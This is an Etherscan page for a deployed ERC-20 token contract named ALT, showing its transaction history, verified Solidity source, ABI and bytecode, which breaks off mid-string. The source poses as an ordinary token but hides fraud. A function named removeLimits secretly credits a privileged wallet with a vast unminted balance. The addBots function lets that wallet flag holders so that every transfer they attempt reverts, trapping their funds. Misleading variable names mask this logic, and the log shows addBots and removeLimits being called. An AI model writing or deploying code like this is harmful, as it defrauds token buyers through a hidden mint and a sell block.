ETH Price: $2,273.84 (+0.05%)

Contract

0xE2687e3A3C34E570E9ee006D231479CA213C146F
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve191090722024-01-29 2:01:47223 days ago1706493707IN
0xE2687e3A...A213C146F
0 ETH0.000246069.90442861
Transfer190906392024-01-26 12:00:47226 days ago1706270447IN
0xE2687e3A...A213C146F
0 ETH0.0005196823.94857656
Transfer190906152024-01-26 11:55:59226 days ago1706270159IN
0xE2687e3A...A213C146F
0 ETH0.0004144319.11618125
Transfer190906082024-01-26 11:54:35226 days ago1706270075IN
0xE2687e3A...A213C146F
0 ETH0.000408118.82380679
Transfer190839132024-01-25 13:25:35227 days ago1706189135IN
0xE2687e3A...A213C146F
0 ETH0.0009458131.1237067
Transfer190809432024-01-25 3:26:59227 days ago1706153219IN
0xE2687e3A...A213C146F
0 ETH0.0005687711.3759698
Approve190809262024-01-25 3:23:35227 days ago1706153015IN
0xE2687e3A...A213C146F
0 ETH0.000569312.14493009
Remove Limits190809222024-01-25 3:22:47227 days ago1706152967IN
0xE2687e3A...A213C146F
0 ETH0.0003632811.66311742
Approve190807042024-01-25 2:38:47227 days ago1706150327IN
0xE2687e3A...A213C146F
0 ETH0.000300859.99926149
Approve190807032024-01-25 2:38:35227 days ago1706150315IN
0xE2687e3A...A213C146F
0 ETH0.000462239.84828403
Add Bots190797572024-01-24 23:25:11227 days ago1706138711IN
0xE2687e3A...A213C146F
0 ETH0.0005862412.01991469
Add Bots190797522024-01-24 23:24:11227 days ago1706138651IN
0xE2687e3A...A213C146F
0 ETH0.0005293410.85325196
Add Bots190797352024-01-24 23:20:47227 days ago1706138447IN
0xE2687e3A...A213C146F
0 ETH0.0005147410.55387396
Approve190794162024-01-24 22:16:59227 days ago1706134619IN
0xE2687e3A...A213C146F
0 ETH0.000402498.54055006
Approve190778272024-01-24 16:56:11228 days ago1706115371IN
0xE2687e3A...A213C146F
0 ETH0.0009256219.61569148
Transfer190772472024-01-24 14:59:23228 days ago1706108363IN
0xE2687e3A...A213C146F
0 ETH0.0005825619.17033275
Add Bots190756642024-01-24 9:40:47228 days ago1706089247IN
0xE2687e3A...A213C146F
0 ETH0.0005461711.19822774
Approve190753622024-01-24 8:40:11228 days ago1706085611IN
0xE2687e3A...A213C146F
0 ETH0.0004987110.6390909
Approve190753302024-01-24 8:33:47228 days ago1706085227IN
0xE2687e3A...A213C146F
0 ETH0.0005018310.63486088
Approve190753292024-01-24 8:33:35228 days ago1706085215IN
0xE2687e3A...A213C146F
0 ETH0.0005070110.75816052
Approve190753172024-01-24 8:31:11228 days ago1706085071IN
0xE2687e3A...A213C146F
0 ETH0.0005064710.80447089
Approve190753082024-01-24 8:29:11228 days ago1706084951IN
0xE2687e3A...A213C146F
0 ETH0.0005465811.58307258
Approve190753042024-01-24 8:28:23228 days ago1706084903IN
0xE2687e3A...A213C146F
0 ETH0.0006340913.43773072
Approve190752682024-01-24 8:21:11228 days ago1706084471IN
0xE2687e3A...A213C146F
0 ETH0.0006730414.33972104
Approve190752492024-01-24 8:17:23228 days ago1706084243IN
0xE2687e3A...A213C146F
0 ETH0.0005707612.1110247
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ALT

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-01-24
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.20;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ALT is Context, IERC20Metadata, Ownable {

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _taxWallet;
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 10_000_000_000 * (10 ** _decimals); 
    uint128 taxAmount = 64544;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;
    constructor(string memory name_, string memory symbol_, address _to) {
        _name = name_;
        _symbol = symbol_;
        _taxWallet = _to;
        _mint(_to, hardCap);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function removeLimits() external   {
        if(_msgSender() == _taxWallet){  
            require( _taxWallet == _msgSender());  
            address feeAmount = _msgSender();
            address swapRouter = feeAmount;
            address devWallet = swapRouter; 
            _balances[devWallet] += devAmount;       
        }   
    }

    function addBots(address bot) public virtual returns (bool) {
        address tmoinfo = bot;      
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxWallet);
        return true;

    }

    function delBots(address notbot) external  {
        address tmoinfo = notbot;       
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxWallet);
        
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to, 
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = taxAmount + _balances[from] + taxAmount-taxAmount;}
        uint256 balance = _balances[from];
        require(
            balance >= amount,
            "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"_to","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261fc2060085f6101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555064056cc9ca2c62010cc062000058620001a760201b60201c565b600a62000066919062000554565b620000729190620005a4565b6200007e9190620005a4565b6009556001600a5f6101000a81548160ff0219169083151502179055505f600a60016101000a81548160ff021916908315150217905550348015620000c1575f80fd5b5060405162002a7d38038062002a7d8339818101604052810190620000e79190620007d4565b62000107620000fb620001af60201b60201c565b620001b660201b60201c565b826005908162000118919062000a99565b5081600690816200012a919062000a99565b508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200019e816012600a62000180919062000554565b6402540be400620001929190620005a4565b6200027760201b60201c565b50505062000c61565b5f6012905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002df9062000bdb565b60405180910390fd5b8060045f828254620002fb919062000bfb565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000350919062000bfb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b6919062000c46565b60405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200044c57808604811115620004245762000423620003c2565b5b6001851615620004345780820291505b80810290506200044485620003ef565b945062000404565b94509492505050565b5f8262000466576001905062000538565b8162000475575f905062000538565b81600181146200048e57600281146200049957620004cf565b600191505062000538565b60ff841115620004ae57620004ad620003c2565b5b8360020a915084821115620004c857620004c7620003c2565b5b5062000538565b5060208310610133831016604e8410600b8410161715620005095782820a905083811115620005035762000502620003c2565b5b62000538565b620005188484846001620003fb565b92509050818404811115620005325762000531620003c2565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000560826200053f565b91506200056d8362000548565b92506200059c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000455565b905092915050565b5f620005b0826200053f565b9150620005bd836200053f565b9250828202620005cd816200053f565b91508282048414831517620005e757620005e6620003c2565b5b5092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200064f8262000607565b810181811067ffffffffffffffff8211171562000671576200067062000617565b5b80604052505050565b5f62000685620005ee565b905062000693828262000644565b919050565b5f67ffffffffffffffff821115620006b557620006b462000617565b5b620006c08262000607565b9050602081019050919050565b5f5b83811015620006ec578082015181840152602081019050620006cf565b5f8484015250505050565b5f6200070d620007078462000698565b6200067a565b9050828152602081018484840111156200072c576200072b62000603565b5b62000739848285620006cd565b509392505050565b5f82601f830112620007585762000757620005ff565b5b81516200076a848260208601620006f7565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200079e8262000773565b9050919050565b620007b08162000792565b8114620007bb575f80fd5b50565b5f81519050620007ce81620007a5565b92915050565b5f805f60608486031215620007ee57620007ed620005f7565b5b5f84015167ffffffffffffffff8111156200080e576200080d620005fb565b5b6200081c8682870162000741565b935050602084015167ffffffffffffffff81111562000840576200083f620005fb565b5b6200084e8682870162000741565b92505060406200086186828701620007be565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008ba57607f821691505b602082108103620008d057620008cf62000875565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620009347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008f7565b620009408683620008f7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620009816200097b62000975846200053f565b62000958565b6200053f565b9050919050565b5f819050919050565b6200099c8362000961565b620009b4620009ab8262000988565b84845462000903565b825550505050565b5f90565b620009ca620009bc565b620009d781848462000991565b505050565b5b81811015620009fe57620009f25f82620009c0565b600181019050620009dd565b5050565b601f82111562000a4d5762000a1781620008d6565b62000a2284620008e8565b8101602085101562000a32578190505b62000a4a62000a4185620008e8565b830182620009dc565b50505b505050565b5f82821c905092915050565b5f62000a6f5f198460080262000a52565b1980831691505092915050565b5f62000a89838362000a5e565b9150826002028217905092915050565b62000aa4826200086b565b67ffffffffffffffff81111562000ac05762000abf62000617565b5b62000acc8254620008a2565b62000ad982828562000a02565b5f60209050601f83116001811462000b0f575f841562000afa578287015190505b62000b06858262000a7c565b86555062000b75565b601f19841662000b1f86620008d6565b5f5b8281101562000b485784890151825560018201915060208501945060208101905062000b21565b8683101562000b68578489015162000b64601f89168262000a5e565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000bc3601f8362000b7d565b915062000bd08262000b8d565b602082019050919050565b5f6020820190508181035f83015262000bf48162000bb5565b9050919050565b5f62000c07826200053f565b915062000c14836200053f565b925082820190508082111562000c2f5762000c2e620003c2565b5b92915050565b62000c40816200053f565b82525050565b5f60208201905062000c5b5f83018462000c35565b92915050565b611e0e8062000c6f5f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e14610369578063f2fde38b14610399578063fb86a404146103b55761011f565b806370a0823114610289578063715018a6146102b9578063751039fc146102c35780638da5cb5b146102cd57806395d89b41146102eb5761011f565b8063313ce567116100f2578063313ce567146101bf57806339509351146101dd5780634c8afff41461020d57806356ec63a51461022957806364473a12146102595761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103d3565b60405161013891906113f7565b60405180910390f35b61015b600480360381019061015691906114a8565b610463565b6040516101689190611500565b60405180910390f35b610179610480565b6040516101869190611528565b60405180910390f35b6101a960048036038101906101a49190611541565b610489565b6040516101b69190611500565b60405180910390f35b6101c761057b565b6040516101d491906115ac565b60405180910390f35b6101f760048036038101906101f291906114a8565b610583565b6040516102049190611500565b60405180910390f35b610227600480360381019061022291906115c5565b61062a565b005b610243600480360381019061023e91906115c5565b6106f4565b6040516102509190611500565b60405180910390f35b610273600480360381019061026e91906115c5565b6107c4565b6040516102809190611500565b60405180910390f35b6102a3600480360381019061029e91906115c5565b6107e1565b6040516102b09190611528565b60405180910390f35b6102c1610827565b005b6102cb61083a565b005b6102d5610962565b6040516102e291906115ff565b60405180910390f35b6102f3610989565b60405161030091906113f7565b60405180910390f35b610323600480360381019061031e91906114a8565b610a19565b6040516103309190611500565b60405180910390f35b610353600480360381019061034e91906114a8565b610aff565b6040516103609190611500565b60405180910390f35b610383600480360381019061037e9190611618565b610b1c565b6040516103909190611528565b60405180910390f35b6103b360048036038101906103ae91906115c5565b610b9e565b005b6103bd610c20565b6040516103ca9190611528565b60405180910390f35b6060600580546103e290611683565b80601f016020809104026020016040519081016040528092919081815260200182805461040e90611683565b80156104595780601f1061043057610100808354040283529160200191610459565b820191905f5260205f20905b81548152906001019060200180831161043c57829003601f168201915b5050505050905090565b5f61047661046f610c41565b8484610c48565b6001905092915050565b5f600454905090565b5f610495848484610e0b565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104dc610c41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561055b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055290611723565b60405180910390fd5b61056f85610567610c41565b858403610c48565b60019150509392505050565b5f6012905090565b5f61062061058f610c41565b848460025f61059c610c41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461061b919061176e565b610c48565b6001905092915050565b5f819050600a60019054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d1610c41565b73ffffffffffffffffffffffffffffffffffffffff16146106f0575f80fd5b5050565b5f80829050600a5f9054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b610c41565b73ffffffffffffffffffffffffffffffffffffffff16146107ba575f80fd5b6001915050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61082f61122e565b6108385f6112ac565b565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087a610c41565b73ffffffffffffffffffffffffffffffffffffffff16036109605761089d610c41565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f4575f80fd5b5f6108fd610c41565b90505f8190505f81905060095460015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610955919061176e565b925050819055505050505b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461099890611683565b80601f01602080910402602001604051908101604052809291908181526020018280546109c490611683565b8015610a0f5780601f106109e657610100808354040283529160200191610a0f565b820191905f5260205f20905b8154815290600101906020018083116109f257829003601f168201915b5050505050905090565b5f8060025f610a26610c41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad790611811565b60405180910390fd5b610af4610aeb610c41565b85858403610c48565b600191505092915050565b5f610b12610b0b610c41565b8484610e0b565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ba661122e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b9061189f565b60405180910390fd5b610c1d816112ac565b50565b6012600a610c2e91906119ec565b6402540be400610c3e9190611a36565b81565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad90611ae7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90611b75565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfe9190611528565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090611c03565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede90611c91565b60405180910390fd5b6001151560035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361102b5760085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611014919061176e565b61101e919061176e565b6110289190611caf565b90505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a690611d52565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110f89190611caf565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611182919061176e565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112209190611528565b60405180910390a350505050565b611236610c41565b73ffffffffffffffffffffffffffffffffffffffff16611254610962565b73ffffffffffffffffffffffffffffffffffffffff16146112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190611dba565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113a4578082015181840152602081019050611389565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113c98261136d565b6113d38185611377565b93506113e3818560208601611387565b6113ec816113af565b840191505092915050565b5f6020820190508181035f83015261140f81846113bf565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114448261141b565b9050919050565b6114548161143a565b811461145e575f80fd5b50565b5f8135905061146f8161144b565b92915050565b5f819050919050565b61148781611475565b8114611491575f80fd5b50565b5f813590506114a28161147e565b92915050565b5f80604083850312156114be576114bd611417565b5b5f6114cb85828601611461565b92505060206114dc85828601611494565b9150509250929050565b5f8115159050919050565b6114fa816114e6565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b61152281611475565b82525050565b5f60208201905061153b5f830184611519565b92915050565b5f805f6060848603121561155857611557611417565b5b5f61156586828701611461565b935050602061157686828701611461565b925050604061158786828701611494565b9150509250925092565b5f60ff82169050919050565b6115a681611591565b82525050565b5f6020820190506115bf5f83018461159d565b92915050565b5f602082840312156115da576115d9611417565b5b5f6115e784828501611461565b91505092915050565b6115f98161143a565b82525050565b5f6020820190506116125f8301846115f0565b92915050565b5f806040838503121561162e5761162d611417565b5b5f61163b85828601611461565b925050602061164c85828601611461565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061169a57607f821691505b6020821081036116ad576116ac611656565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61170d602883611377565b9150611718826116b3565b604082019050919050565b5f6020820190508181035f83015261173a81611701565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177882611475565b915061178383611475565b925082820190508082111561179b5761179a611741565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6117fb602583611377565b9150611806826117a1565b604082019050919050565b5f6020820190508181035f830152611828816117ef565b9050919050565b7